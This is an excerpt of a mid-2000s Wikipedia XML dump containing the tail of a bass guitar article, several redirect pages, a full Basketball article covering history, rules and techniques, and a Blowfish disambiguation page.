Another variable is the differing role of the bass within different types of music, and the position in the music that bassist prefers to occupy.  [[Paul McCartney]] of the [[Beatles]] tends to favor a subdued, melodic approach a little further back in the mix.  [[Progressive rock]] bassists have been revolutionary by making the instrument a more important and recognizable voice in their respective bands, a trend that caught on in many bands that have followed them.  [[John Entwistle]] of [[The Who]] and [[Jack Bruce]] of [[Cream (band)|Cream]] introduced a more aggressive style with the former's trademark trebly tone and the latter's very smooth tone, and melodic expressiveness.  [[Chris Squire]] of [[Yes (band)|Yes]] took the instrument one step further in the early 1970s, combining McCartney's melodicism with Entwistle's energy and employing an aggressive, overdriven tone that expanded even further the bass's role as rhythmic and harmonic foundation.  [[Geddy Lee]] of [[Rush (band)|Rush]] has been experimenting with bass chords, layered bass lines, and flamenco-style fingerpicking in the group's recent recordings. Outside of the rock genre, Jazz-funk bassist [[Jaco Pastorius]] evolved electric bass playing to a new extreme in the band Weather Report and in his own solo work. Jaco then inspired bassists such as [[Victor Wooten]], [[Steve Bailey]] and [[Stu Hamm]], who have taken the bass' role in music to a new extreme with the addition of many new techniques on the bass, such as &quot;Double Thumping&quot; and the development of techniques such as tapping.  Other bassists that have moved the bass forward in their participation and role in music include [[Les Claypool]] and [[Marcus Miller]], who have in turn inspired a promising stable of talented bassists who are even able to sing and play bass simultaneously. 

The [[bass]] and [[drums]] are an inseparable duo, as the bass notes provide pitched tone, and the [[drums]], especially the low-pitched bass drum, provide &quot;kick,&quot; power, and accentuation to the [[bass]] notes. Some bass players and drummers have achieved an exceptional level of integration in this fashion, to the point that they have been engaged together on a number of recordings for different groups.  Examples include:
* Sly Dunbar (drums) and Robbie Shakespeare (bass)

Bass also within some circles has some undesirable stigmas attached to it. Electric guitarists feel that the Bass is 'primitive' as it ordinarily only has 4 strings and only rarely is made to play chords (a note which requires fretting several strings) or strumming, it is sometimes referred to as being &quot;The poor man's guitar&quot;. Owing to this, it is a running joke that rock bands downplay the bass players- having them hiding in the corner, stooping as to not show their face and not making too much noise so as not to bore the audience or draw attention away from the 'real' musicians.

==See also==

*[[List of bass guitarists]]
*[[Acoustic bass guitar]]
*[[Double bass]]
*[[Electric upright bass]]
*[[Fender Precision Bass]]

== External links ==
{{Wikibookspar|Guitar|Bass Guitar}}
* [http://www.musicinstructionbooks.com/index.php Music Instruction] - Bass instructional books, dvd's, songbooks and videos.
* [http://www.bassplaza.com/ BassPlaza.com] - Bass resource website.
* [http://www.platinumtabs.com Guitar Tabs] has some cool bass tabs available for free use, easy way to learn how to play.
* The history of guitar-like instruments from 1900 B.C. through modern times is summarized at  [http://www.classicalguitarmidi.com/history/guitar_history.html Classical Guitar Illustrated History]
* [http://www.bajoelectrico.com/ BajoElectrico.Com] - El Club del Bajista. 
* [http://www.basstopia.com/ Basstopia] - features bass news, a bass tab search, and other resources for bassists. 
* [http://www.talkbass.com/ Talkbass] - extensive resources for bass players, including player interviews, equipment reviews and arguably the largest bass-oriented online forum.
* [http://www.angelfire.com/id/bass/ The Bass Guitar Scale Page] - has free lessons on standard and exotic bass scales.
* [http://www.mxtabs.net Mxtabs.net]  - lots of bass, guitar, and even drum tabs
* [http://www.basscrawler.org/ The Bass Tablature Search Engine] - includes bass magazine, lessons
*[http://www.ultimate-guitar.com Ultimate Guitar] - Massive database of tabs, lessons, and articles.
* [http://www.activebass.com/ ActiveBass] - An online bass community featuring interactive lessons.
* [http://www.jimleemusic.com JimLeeMusic.com] Downloads for bass guitar.
* [http://www.LiutaioMottola.com Liutaio Mottola Lutherie Information Website] - Information about building stringed musical instruments including electric basses.  Includes downloadable instrument plans.
* [http://www.wikiguitar.net Wiki Guitar] Community Guitar site with bass tabs, articles, resources, and lessons.
* [http://www.bass-list.com The Bottom Line] The official web site of the Internet's Bass Player mailing list.
* [http://www.basswebsites.com Bass Websites] Human-edited directory of web sites for Bass Players.

As of Monday 12th December, 2005, tabs are considered illegal by the music industry , and numerous prominent sites providing tabs, such as Mxtabs.net, have been closed down.

[[Category:Amplified instruments]]
[[Category:Electric bass guitars]]
[[Category:Guitars]]

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    </revision>
  </page>
  <page>
    <title>Beatles</title>
    <id>3920</id>
    <revision>
      <id>30153759</id>
      <timestamp>2005-12-04T22:12:16Z</timestamp>
      <contributor>
        <username>JedOs</username>
        <id>623213</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[The Beatles]]</text>
    </revision>
  </page>
  <page>
    <title>Basketball</title>
    <id>3921</id>
    <revision>
      <id>42148852</id>
      <timestamp>2006-03-04T03:31:22Z</timestamp>
      <contributor>
        <username>Tomf688</username>
        <id>94202</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.94.81.35|68.94.81.35]] ([[User talk:68.94.81.35|talk]]) to last version by Kuru</comment>
      <text xml:space="preserve">[[Image:Three point shoot.JPG|right|250px|thumb|Sara Giauro shoots a [[Three-point field goal|three-point shot]], FIBA Europe Cup for Women Finals 2005]]

'''Basketball''' is a sport in which two [[teams]] of five players each try to score points by throwing a ball through a hoop (the ''basket'') under organized rules. 

Since its invention in 1891,  it has developed to become a truly [[global|international]] sport.  Organized league play originated in the [[YMCA]]; early leagues were formed in colleges.  Basketball eventually became a [[professional sports|professional]] sport.  Even though it was originally a North American sport, it quickly spread internationally and outstanding players and teams are found today all over the world.

Basketball is primarily an indoor sport, played in (the [[basketball court|court]]). Points are scored for passing the ball through the basket from above (''shooting''); the team with more points at the end of the game wins. The ball can be advanced on the court by bouncing it (''[[dribbling]]'') or passing it between teammates. Disruptive physical contact (''fouls'') is not permitted and there are restrictions on how the ball can be handled (''violations'').

Through time, basketball has developed to involve common techniques of shooting, passing and dribbling, as well as players' positions, and offensive and defensive structures.  While competitive basketball is carefully regulated, [[variations of basketball|variations]] have developed for casual play.  Basketball is also a popular spectator sport.

==History==
===Early basketball===
Basketball is unique in that it was [[invented sport|invented]] by one person, rather than evolving from a different sport. In early December 1891, Dr. [[James Naismith]], a [[Canadian]]-born physician and minister on the faculty of a college for [[YMCA]] professionals (today, [[Springfield College]]) in [[Springfield, Massachusetts]], sought a vigorous indoor game to keep young men occupied during the long [[New England]] winters. Legend has it that, after rejecting other ideas as either too rough or poorly suited to walled-in [[gym|gymnasium]]s, he wrote the basic rules, and nailed a peach basket onto the 10 foot elevated track. The first official game was played in the YMCA gymnasium on [[January 20]] [[1892]]. At that time, it was played with nine players on a court just half the size of a present-day [[NBA]] court. &quot;Basket ball&quot;, the name suggested by one of his students, was popular from the beginning, and with its early adherents being dispatched to YMCAs throughout the United States, the game was soon played all over the country.

Interestingly, while the YMCA was responsible for initially developing and spreading the game, within a decade, it discouraged the new sport, as rough play and rowdy crowds began to detract from the YMCA's primary mission. Other amateur sports clubs, colleges, and professional clubs quickly filled the void. In the years before World War I, the [[Amateur Athletic Union]] and the [[Intercollegiate Athletic Association]] (forerunner of the [[NCAA]]) vied for control over the rules for the game. 

Basketball was originally played with a [[soccer]] ball. The first balls made specially for basketball were brown, and it was only in the late 1950s that [[Paul D. &quot;Tony&quot; Hinkle|Tony Hinkle]], searching for a ball that would be more visible to players and spectators alike, introduced the orange ball that is now in common use.

===College basketball and early leagues===
[[Image:basketball.jpg|thumb|210px|right|[[Kent Benson]] of [[Indiana University Bloomington|Indiana]] takes a hook shot.]]
Naismith himself was instrumental in establishing the college game, coaching at [[University of Kansas]] for six years before handing the reins to renowned coach [[Phog Allen]].  Naismith disciple [[Amos Alonzo Stagg]] brought basketball to the [[University of Chicago]], while [[Adolph Rupp]], a student of Naismith at Kansas, enjoyed great success as coach at the [[University of Kentucky]]. College leagues date back to the 1920s, and the first national championship tournament, the [[National Invitation Tournament]] (NIT) in New York, followed in 1938. College basketball was rocked by gambling scandals from 1948 to 1951, when dozens of players from top teams were implicated in [[match fixing|game fixing]] and [[point shaving]]. Partially spurred by the association of the NIT with many of the cheaters, the [[NCAA Men's Division I Basketball Championship|NCAA national tournament]] surpassed the NIT in importance. Today, the NCAA tournament is rivaled only by the [[baseball]] [[World Series]] and the [[Super Bowl]] of [[American football]] in the American sports psyche. 

In the 1920s, there were hundreds of professional basketball teams in towns and cities all over the United States. There was little organization to the professional game, as players jumped from team to team, and teams played in armories and smoky dance halls. Leagues came and went, and barnstorming squads such as the [[New York Renaissance|New York Rens]] and the [[Original Celtics]] played up to two hundred games a year on their national tours.

===U.S. high school basketball===
Before widespread school district consolidation, most U.S. [[high school]]s were far smaller than their present day counterparts and during the first decades of the 20th century basketball quickly became the ideal interscholastic sport due to its modest equipment and personnel requirements. In the days before widespread [[television]] coverage of professional and college sports, the popularity of high school basketball was unrivaled in many parts of America.

Today virtually every high school in the United States fields a basketball team in [[Varsity match|varsity]] competition, and its popularity remains high, both in rural areas where they carry the identification of the entire community, as well as at some larger schools known for their basketball teams where many players go on to participate at higher levels of competition after graduation. In the 2003&amp;ndash;04 season, 1,002,797 boys and girls represented their schools in interscholastic basketball competition, according to the [[National Federation of State High School Associations]]. The states of [[Indiana]] and [[Kentucky]] are particularly well known for their residents' devotion to high school basketball; the critically acclaimed film ''[[Hoosiers]]'' shows high school basketball's depth of meaning to these rural communities.

===National Basketball Association===
[[Image:Logo allen.JPG|thumb|left|200px|The Seattle SuperSonics' Ray Allen]]

In 1946, the [[National Basketball Association]] (NBA) was formed, organizing the top professional teams and leading to greater popularity of the professional game. An upstart organization, the [[American Basketball Association]], emerged in 1967 and briefly threatened the NBA's dominance until the rival leagues merged in 1976.

The NBA has featured many famous players, including [[George Mikan]], the first dominating &quot;big man&quot;; ball-handling wizard [[Bob Cousy]] and defensive genius [[Bill Russell (basketball)|Bill Russell]] of the [[Boston Celtics]]; [[Wilt Chamberlain]] (who originally played for the barnstorming &quot;[[Harlem Globetrotters]]&quot;); all-around stars [[Oscar Robertson]] and [[Jerry West]]; more recent big men [[Kareem Abdul-Jabbar]] and [[Bill Walton]], playmaker [[John Stockton]]; and the three players who many credit with ushering the professional game to its highest level of popularity: [[Larry Bird]], [[Magic Johnson]], and [[Michael Jordan]].  

The NBA-backed [[Women's National Basketball Association]] began play in 1997. Though it had an insecure opening season, several marquee players ([[Sheryl Swoopes]], [[Lisa Leslie]], and [[Sue Bird]] among others) have helped the league improve its popularity and level of competition, as in the NBA. Other professional women's basketball leagues in the United States have folded in part because of the presence of the WNBA.

===International basketball===
The [[International Basketball Federation]] was formed in 1932 by eight founding nations: [[Argentina]], [[Czechoslovakia]], [[Greece]], [[Italy]], [[Latvia]], [[Portugal]], [[Romania]] and [[Switzerland]]. At this time, the organisation only oversaw amateur players. Its acronym, in French, was thus FIBA; the &quot;A&quot; standing for amateur.

Basketball was first included in the [[Olympic Games]] in 1936, although a demonstration tournament was held in 1904. This competition has usually been dominated by the United States, whose team has won all but three titles, the first loss in a controversial final game in [[Munich]] in 1972 against the Soviet Union.  In 1950 the first [[Basketball World Championship|World Championships]] for men were held in [[Argentina]]. Three years later, the first World Championships for women were held in [[Chile]].  Women's basketball was added to the Olympics in 1976, with teams such as Brazil and Australia rivaling the American squads.

FIBA dropped the distinction between amateur and professional players in 1989, and in 1992, professional players played for the first time in the Olympic Games. The United States' dominance briefly resurfaced with the introduction of their [[Dream Team (basketball)|Dream Team]]. However, with developing programs elsewhere, other national teams have now caught up with the United States. A team made entirely of NBA players finished sixth in the 2002 World Championships in [[Indianapolis, Indiana|Indianapolis]], behind [[Serbia and Montenegro]], Argentina, [[Germany]], [[New Zealand]] and [[Spain]]. In the [[2004 Summer Olympics|2004 Olympics]], the United States suffered its first Olympic loss while using professional players, falling to the [[Puerto Rican national basketball team]] and eventually came in third after Argentina and [[Italy]].

Worldwide, basketball tournaments are held for boys and girls of all age levels, from five- and six-year-olds (called ''biddy-biddy''), to high school, college, and the professional leagues. 

The global popularity of the sport is reflected in the nationalities represented in the NBA.  Players from all over the globe can be found in NBA teams. [[Steve Nash]], who won the 2005 [[NBA MVP]] award as the Most Valuable Player in the NBA, is a [[South Africa]]n-born [[Canada|Canadian]] player. [[Dallas Mavericks]] superstar [[Dirk Nowitzki]], is [[Germany|German]]. The [[San Antonio Spurs]] feature three stars from outside the United States in [[Tim Duncan]] of the [[United States Virgin Islands]], [[Manu Ginobili]] of [[Argentina]], and [[Tony Parker]] of [[France]]; however, Duncan competes for the United States internationally.

The all-tournament team at the most recent [[Basketball World Championship|World Basketball Championships]] held in 2002 in [[Indianapolis, Indiana|Indianapolis]] demonstrates the globalization of the game equally dramatically. The team featured Nowitzki, Ginobili,  [[Predrag Stojaković|Peja Stojakovic]] of [[Serbia and Montenegro national basketball team|Serbia and Montenegro]], [[Yao Ming]] of [[China national basketball team|China]], and [[Pero Cameron]] of [[Tall Blacks|New Zealand]]; all except Cameron were or became NBA players.

==Rules and regulations==
:''Main article: [[Rules of basketball]]''
&lt;!-- Please be careful not to include too much detail when editing this section; see talk page for more info. --&gt;
Measurements and time limits discussed in this section often vary among tournaments and organizations; international and NBA rules are used in this section.

The object of the game is to outscore one's opponents by throwing the ball through the opponents' basket from above while preventing the opponents from doing so on their own. An attempt to score in this way is called a [[shot]].  A successful shot is worth two points, or [[three-point field goal|three points]] if it is taken from beyond the three-point arc which is 6.25 meters (20 ft 5 in) from the basket in international games and 23 ft 9 in (7.24 m) in NBA games.

===Playing regulations===
&lt;!-- Please be careful not to include too much detail when editing this section; see talk page for more info. --&gt;
Games are played in four quarters of 10 (international) or 12 minutes (NBA). Fifteen minutes are allotted for a half-time break, and two minutes are allowed at the other breaks. Overtime periods are five minutes long. Teams exchange baskets for the second half.  The time allotted is actual playing time; the clock is stopped while the play is not active. Therefore, games generally take much longer (about two hours).

There are five players from each team on the court at any time. Teams can have up to seven substitutes. Substitutions are unlimited but can only be done when play is stopped.  Teams also have a [[coach]], who oversees the development and strategies of the team, and other team followers such as assistant coaches, managers, statisticians, doctors and trainers.

For both men's and women's teams, a standard uniform consists of a pair of shorts and a sleeveless tank top with a clearly visible number, unique within the team, printed on both the front and back. Players also wear high-top sneakers that provide extra ankle support.  Often, team names and players' names and sometimes sponsors are printed on the uniforms, too.

A limited number of time-outs, clock stoppages requested by a coach for a short meeting with the players, are allowed. They generally last no longer than one minute unless, for televised games, a commercial break is needed. 

The game is controlled by the officials consisting of the referee, one or two umpires and the table officials. The table officials are responsible for keeping track of each teams scoring, timekeeping, individual and team [[personal foul|fouls]], player substitutions, team [[possession arrow]], and the [[shot clock]].

===Equipment===
&lt;!-- Please be careful not to include too much detail when editing this section; see talk page for more info. --&gt;
[[Image:Basketball.jpeg|thumb|A basketball.]]
[[Image:basketball court dimensions.png|thumb|250px|A diagram of a FIBA basketball court.]]
The only essential equipment in basketball is the ball and the court: a flat, rectangular surface with baskets at opposite ends.  Competitive levels require the use of more equipment such as clocks, scoresheets, [[scoreboard]]s, alternating possession arrows, and whistle-operated stop-clock systems.

The men's ball's circumference is about 30 inches (76 cm) and weighs about 1 lb 5 oz (600 g). The women's ball's circumference is about 29 inches (73 cm) and weighs about 1 lb 3 oz (540 g).  A regulation [[basketball court]] in international games is 28 by 15 meters (approx. 92 by 49 ft) and in the NBA is 94 by 50 feet (29 by 15 m). Most courts are made of wood.

A cast-iron basket with net and backboard hang over each end of the court.  At almost all levels of competition, the top of the rim is exactly 10 feet (3.05 m) above the court and 4 feet (1.2 m) inside the endline.  While variation is possible in the dimensions of the court and backboard, it is considered important for the basket to be the correct height; a rim that is off by but a few inches can have an adverse effect on shooting.

===Violations===
&lt;!-- Please be careful not to include too much detail when editing this section; see talk page for more info. --&gt;
The ball may be advanced toward the basket by being shot, passed between players, thrown, tapped, rolled or dribbled (bouncing the ball while running).

The ball must stay within the court; the last team to touch the ball before it travels out of bounds forfeits possession.  The ball-handler may not move both feet without dribbling, known as ''travelling'', nor may he dribble with both hands or catch the ball in between dribbles, a violation called ''double-dribbling''.  A player's hand must remain on top of the ball while dribbling, failure to do so is known as ''carrying'' the ball.  A team, once having established ball control in the front half of the court, may not return the ball to the backcourt. The ball may not be kicked nor struck with the fist.  A violation of these rules results in loss of possession, or, if committed by the defense, a reset of the [[shot clock]].

There are limits imposed on the time taken before progressing the ball past halfway (8 seconds in international and NBA), before attempting a shot (24 seconds), holding the ball while closely guarded (5 seconds), and remaining in the restricted area (3 seconds).  These rules are designed to reward good defense.

No player may interfere with the basket or ball on its downward flight to the basket, or while it is on the ring (or, in the NBA, while it is directly above the basket), a violation known as ''goaltending.''  If a defensive player goaltends, the attempted shot is considered to have been successful.  If a teammate of the shooter or dribbler goaltends, the basket is cancelled and the team loses possession.

===Fouls===
&lt;!-- Please be careful not to include too much detail when editing this section; see talk page for more info. --&gt;
:''Main articles: [[Personal foul]], [[Technical foul]]''

An attempt to unfairly disadvantage an opponent through personal contact is illegal and is called a foul. These are most commonly committed by defensive players; however, they can be committed by offensive players as well. Players who are fouled either receive the ball to pass inbounds again, or receive one or more [[free throw]]s if they are fouled in the act of shooting, depending on whether the shot was successful. One point is awarded for making a free throw, which is attempted from a line 4.5 metres (15 feet) from the basket.

There is some discretion with the referee when calling a foul &amp;mdash; they consider if there was unfair advantage gained, for example, a player gained possession unfairly.  This makes fouls sometimes controversial calls.  Contact in basketball is unavoidable, and the calling of a foul can vary between games, leagues and even between referees.

A player or coach who shows poor sportsmanship, for instance, by arguing with a referee or by fighting with another player, can be charged with a [[technical foul]]. The penalty involves free throws and varies between leagues; repeated incidents can result in [[ejection (sports)|disqualification]].  Blatant fouls with excessive contact or that are not an attempt to play the ball are called unsportsmanlike fouls (or flagrant fouls in the NBA) and incur a harsher penalty; in some rare cases a disqualifying foul will require the player to leave the playing area. 

If a team surpasses a preset limit of team fouls in a given period (quarter or half) – four for international and NBA games – the opposing team is awarded one or two free throws on all subsequent fouls for that period, depending on the league.  A player who commits five fouls, including technical fouls, in one game (six in some professional leagues, including the NBA) is not allowed to participate for the rest of the game, and is described as having &quot;fouled out&quot;.

==Common techniques and practices==
===Positions and structures===
[[Image:Basketball positions.png|thumb|250px|Basketball positions]]
Although the rules do not specify any [[basketball position|positions]] whatsoever, they have evolved as part of basketball.  During the first five decades of basketball's evolution, two guards, two forwards, and one center were used. Since the 1980s, more specific positions have evolved, namely [[point guard]], [[shooting guard]], [[small forward]], [[Power forward (basketball)|power forward]] and [[Center (basketball)|center]].  On some occasions, teams will choose to use a ''three guard offense'', replacing one of the forwards or the center with a third guard.

Two main defense concepts are used: ''zone defense'' and ''man-to-man defense''.  [[Zone defense]] involves players in defensive positions, guarding whichever opponent is in their zone.  In [[man-to-man defense]], each defensive player guards and follows a specific opponent and tries to prevent him from taking action.  Variations of these two main structures are used.

Offensive plays are more varied, normally involving planned passes and movement by players without the ball.  A quick movement by an offensive player without the ball to gain an advantageous position is a ''cut''.  A legal attempt by an offensive player to stop an opponent marking a teammate, by standing in the defender's way such that the teammate cuts next to him, is a ''screen'' or ''pick''.  The two plays are combined in the ''pick and roll'', in which a player sets a pick and then &quot;rolls&quot; away from the pick towards the basket.  Screens and cuts are very important in offensive plays; these allow the quick passes and teamwork which can lead to a successful basket.  Teams almost always have several offensive plays planned to ensure their movement is not predictable.  On court, the point guard is generally responsible for indicating which play will occur.

Defensive and offensive structures, and positions, are more emphasised in higher levels in basketball; it is these that a coach normally requests a time-out to discuss.

===Shooting===
[[Image:Basketball shot.jpg|thumb|200px|Player releases a short jump shot, while her defender is either knocked down, or trying to &quot;take a charge.&quot;]]

Shooting is the act of attempting to score points by throwing the ball through the basket.  While methods can vary with players and situations, the most common technique can be outlined here.

The player should be positioned facing the basket with feet about shoulder-width apart, knees slightly bent, and back straight. The player holds the ball to rest in the dominant hand's fingertips (the shooting arm) slightly above the head, with the other hand on the side of the ball.  To aim the ball, the player's elbow should be aligned in the direction of the basket. The ball is shot by bending and extending the knees and extending the shooting arm to become straight; the ball rolls off the finger tips while the wrist completes a full downward flex motion. Generally, the non-shooting arm is only used to guide the shot, not to power it.

Players often try to put a steady backspin on the ball to deaden its impact with the rim.  The ideal trajectory of the shot is somewhat arguable, but generally coaches will profess proper arch.  Most players shoot directly into the basket, but in certain situations the shooter may use the backboard to redirect the ball into the basket.

The two most common shots that use the above described set up are the ''set shot'' and the ''[[jump shot]]''.  The set shot is taken from a standing position, with neither foot leaving the floor, typically used for free throws.  The jump shot is taken while in mid-air, near the top of the jump.  This provides much greater power and range, and it also allows the player to elevate over the defender.

Another common shot, called the ''[[layup]]'', involves a different set up. This type of shot requires the player to be in motion toward the basket.

The best shooters have good coordination, balance, courage and are well practiced.  Realizing a shooting opportunity and using it is as important as basic technique; top players at the professional level rarely miss when given an unguarded look at the basket.

===Passing===
[[Image:172808 480 art R0.jpg|thumb|left|220px|[[Carlos Arroyo]] shown here with the [[Utah Jazz]], left, passes to a teammate.]]
A pass is a method of moving the ball between players. Most passes are accompanied by a step forward to increase power and are followed through with the hands to ensure accuracy.

One of the most basic passes is the ''chest pass''. The ball is passed directly from the passer's chest to the receiver's chest. This has the advantage that it takes the least time to complete, as the passer tries to pass as directly straight as possible.

Another type of pass is the ''bounce pass''. In this pass, the ball bounces about two-thirds of the way from the passer. Like the chest pass, it is passed from the passer's chest to the receiver's chest, and it is passed as directly as possible, for example, there should be no downward motion of the ball between the bounce and the time the receiver catches it. In this way, it is completed in the smallest amount of time possible for this pass. It does take longer to complete than the chest pass, but it is more difficult for the opposing team to intercept (kicking the ball deliberately is a violation). Thus, in crowded moments, or to pass the ball around a defender, this pass is often used.

The ''overhead pass'' is used to pass the ball over a defender. The ball is passed from behind the passer's head, coming over it and aiming for around the chin of the receiver. This pass is also a fairly direct pass and can cover more distance than a chest pass.

A pass is not necessarily between two players a distance from each other; sometimes a clever cut by a teammate can mean that a pass is to a directly adjacent teammate who is in motion, where either player's hands remain on the ball for the duration of the pass.

The most important aspect of a good pass is that it is difficult for the defense to intercept. For this reason, large arc-shaped passes are almost always avoided and cross-court passes, called ''skip passes'', are only used in certain situations.

===Dribbling===
[[Image:Basketball game.jpg|thumb|right|210px|U.S. Naval Academy (&quot;Navy&quot;) player, left, attempts to dribble past U.S. Military Academy (&quot;Army&quot;) defender]]
Dribbling is the act of bouncing the ball continuously. When a player dribbles, he or she pushes the ball down towards the ground, rather than patting it, because this ensures greater control.

When dribbling past an opponent, the dribbler should dribble with the hand furthest from the player. It is therefore important for a player to be able to dribble confidently with both hands. In this way, the defender will not be able to get to the ball without getting past the dribbler. Also, the dribble will be lowered so that its movement is more frequent.

The dribble is also lowered when switching hands. This is because, when switching the hand that is dribbling, the ball travels in front of the player making it easier to steal. Alternatively, to switch hands, a player can dribble between their legs or behind the back.

It is common for beginners to dribble into a difficult position. A skilled player can dribble without watching the ball, using the dribbling motion or [[peripheral vision]] to keep track of the ball's location.By not having to focus on the ball, a player can look for teammates or scoring opportunities, as well as avoid the danger of someone stealing the ball from them.

===Height===
Being tall is a clear advantage in basketball. At the professional level, most male participants are above 1.90 meters (6 ft 3 in) and most women are above 1.70 meters (5 ft  7 in).  Guards, for whom physical coordination and ball-handling skills are of greater importance, tend to be the smallest players although they can occasionally be quite tall. Forwards in the men's professional leagues are almost all 2 meters (6 ft 6 in) or taller. Most centers are over 2.1 meters (6 ft 10.5 in) tall. The tallest players ever to play in the NBA, [[Manute Bol]] and [[Gheorghe Muresan]], are 2.31 m (7 ft 7 in). Currently, the tallest NBA player is [[Yao Ming]], who stands at 2.29 m (7 ft 6 in).

The shortest player ever to play in the NBA is [[Muggsy Bogues]] at 1.60 meters (5 ft 3 in).  Other shorter players have also experienced success at the professional level.  [[Spud Webb|Anthony &quot;Spud&quot; Webb]] was just 5 feet 7 inches (1.70 m) tall, but had a 42-inch (1.07 m) vertical leap, giving him significant height when jumping.

==Variations and similar games==
[[Image:DSCN9696 windsorbball e 300.jpg|right|thumb|250px|Pickup basketball game in Main Park, Windsor, Colorado]]
{{main|Variations of basketball}}
&lt;!-- commenting this out for now, the other pic is better.  perhaps this could be moved to something about international play? --&gt;
&lt;!--
[[Image:Basketball in The Philippines.jpg|right|thumb|250px|Children playing basketball on Panglao island (south of Bohol) in The Philippines. Basketball is a very popular sport in The Philippines.]]
--&gt;

'''Variations of basketball''' are activities based on the game of basketball, utilizing common basketball skills and equipment (primarily the ball and basket).  Some variations are only superficial rules changes, while others are distinct games with varying degrees of basketball influences.  Other variations include children's games, contests or activities intended to help the player reinforce skills, which may or may not have a competitive aspect.  Most of the variations are played in informal settings without referees or strict rules.

Perhaps the single most common variation is the ''half court'' game. Only one basket is used, with the requirement that the ball be &quot;cleared&quot; - passed or dribbled outside the half-court or three-point line - whenever possession of the ball changes. Half-court games generally require less [[cardiovascular]] stamina, as they eliminate the need for players to run back and forth from one end of the court to the other.  Half-court games also double the number of players that can utilize a court, and thus are sometimes required by the owner of a busy facility.

==References==
{{commons|Basketball}}
*{{cite web
 | author=National Basketball Association
 | year=2001
 | url=http://www.nba.com/analysis/rules_index.html
 | title=Official Rules of the National Basketball Association
 | accessdate=July 16
 | accessyear=2004
 }}
*{{cite book
 | year = 2004
 | month = June
 | title = Official Basketball Rules
 | author = International Basketball Federation
 | url = http://www.fiba.com/asp_includes/download.asp?file_id=327
}}
*{{cite journal
 | first = Anthony
 | last = Reimer
 | year = 2005
 | month = June
 | title = FIBA vs North American Rules Comparison
 | journal = FIBA Assist
 | issue = 14
 | pages = 40
 | url = http://www.fiba.com/asp_includes/download.asp?file_id=518
 }}
*{{cite web
 | author=Bonsor, Kevin
 | url=http://health.howstuffworks.com/basketball2.htm
 | title=How Basketball Works: Who's Who
 | work=HowStuffWorks
 | publisher=
 | accessdate=January 11
 | accessyear=2006
 }}

==See also==
*[[Rules of basketball]]
*[[Basketball moves]]
*[[Variations of basketball]]
*[[Basketball at the Summer Olympics]]
*[[International Basketball Federation]]
*[[National Basketball Association]]
*[[Basketball World Championship]]
*[[Wheelchair basketball]]

==External links==
&lt;!-- Please be selective when adding links, see talk page for more info. --&gt;
*[http://www.nba.com National Basketball Association]
*[http://www.fiba.com International Basketball Federation]
*[http://www.olympic.org/uk/sports/programme/index_uk.asp?SportCode=BK Basketball at the Olympic Games]
*[http://www.basketball-oasis.com Basketball Oasis Directory]
*[http://www.basketball-plays-and-tips.com/encyclopedia Basketball Plays and Tips]
*[http://www.sacredhoops.com Sacred Hoops Youth Basketball]
*[http://www.history-of-basketball.com/history.htm History of Basketball]
*[http://www.hoophall.com/ Naismith Memorial Basketball Hall of Fame]
*[http://www.sportbee.com/basketball.html Basketball Stores Directory]
*[http://dir.yahoo.com/Recreation/Sports/Basketball/ Basketball on Yahoo!]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Ball games]]
[[Category:Basketball| ]]
[[Category:Team sports]]

{{Link FA|is}}
{{Link FA|it}}
{{Link FA|nl}}

[[ar:كرة سلة]]
[[bg:Баскетбол]]
[[bs:Košarka]]
[[ca:Bàsquet]]
[[cs:Basketbal]]
[[da:Basketball]]
[[de:Basketball]]
[[el:Καλαθοσφαίριση]]
[[eo:Korbopilko]]
[[es:Baloncesto]]
[[et:Korvpall]]
[[fa:بسکتبال]]
[[fi:Koripallo]]
[[fr:Basket-ball]]
[[gl:Baloncesto]]
[[he:כדורסל]]
[[hr:Košarka]]
[[hu:Kosárlabda]]
[[id:Basket]]
[[io:Korbobalono]]
[[is:Körfuknattleikur]]
[[it:Pallacanestro]]
[[ja:バスケットボール]]
[[ko:농구]]
[[lt:Krepšinis]]
[[lv:Basketbols]]
[[mk:Кошарка]]
[[nl:Basketbal]]
[[no:Basketball]]
[[pl:Koszykówka]]
[[pt:Basquetebol]]
[[ro:Baschet]]
[[ru:Баскетбол]]
[[scn:Palla a canistru]]
[[simple:Basketball]]
[[sk:Basketbal]]
[[sl:Košarka]]
[[sr:Кошарка]]
[[sv:Basket]]
[[ta:கூடைப்பந்து]]
[[th:บาสเกตบอล]]
[[tr:Basketbol]]
[[zh:篮球]]</text>
    </revision>
  </page>
  <page>
    <title>Bicycling/Road</title>
    <id>3922</id>
    <revision>
      <id>15902233</id>
      <timestamp>2004-07-25T18:49:45Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>#REDIRECT [[Road bicycle]]</comment>
      <text xml:space="preserve">#REDIRECT [[Road bicycle]]</text>
    </revision>
  </page>
  <page>
    <title>Bicycling/Track</title>
    <id>3923</id>
    <revision>
      <id>15902234</id>
      <timestamp>2002-10-10T09:15:45Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Track cycling]]</comment>
      <text xml:space="preserve">#REDIRECT [[Track cycling]]</text>
    </revision>
  </page>
  <page>
    <title>Bicycling/Offroad</title>
    <id>3925</id>
    <revision>
      <id>24815354</id>
      <timestamp>2005-10-05T14:59:08Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Mountain biking]]</text>
    </revision>
  </page>
  <page>
    <title>Blowfish</title>
    <id>3926</id>
    <revision>
      <id>39566934</id>
      <timestamp>2006-02-14T09:19:41Z</timestamp>
      <contributor>
        <username>Dancraggs</username>
        <id>432923</id>
      </contributor>
      <comment>'Hootie &amp; the blowfish' is just a band name that happens to include this word. We can't go putting included-word phrases on disambig pages. Already redirects set up from variations of band's name.</comment>
      <text xml:space="preserve">The word '''Blowfish''''' can mean:

* [[Pufferfish]]
* [[Blowfish (cipher)]], an [[encryption algorithm]] which is named after the fish.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Brian Eno</title>
    <id>3927</id>
    <revision>
      <id>42036212</id>
      <timestamp>2006-03-03T10:23:31Z</timestamp>
      <contributor>
        <username>BNutzer</username>
        <id>736125</id>
      </contributor>
      <comment>/* Producing records and other projects */</comment>
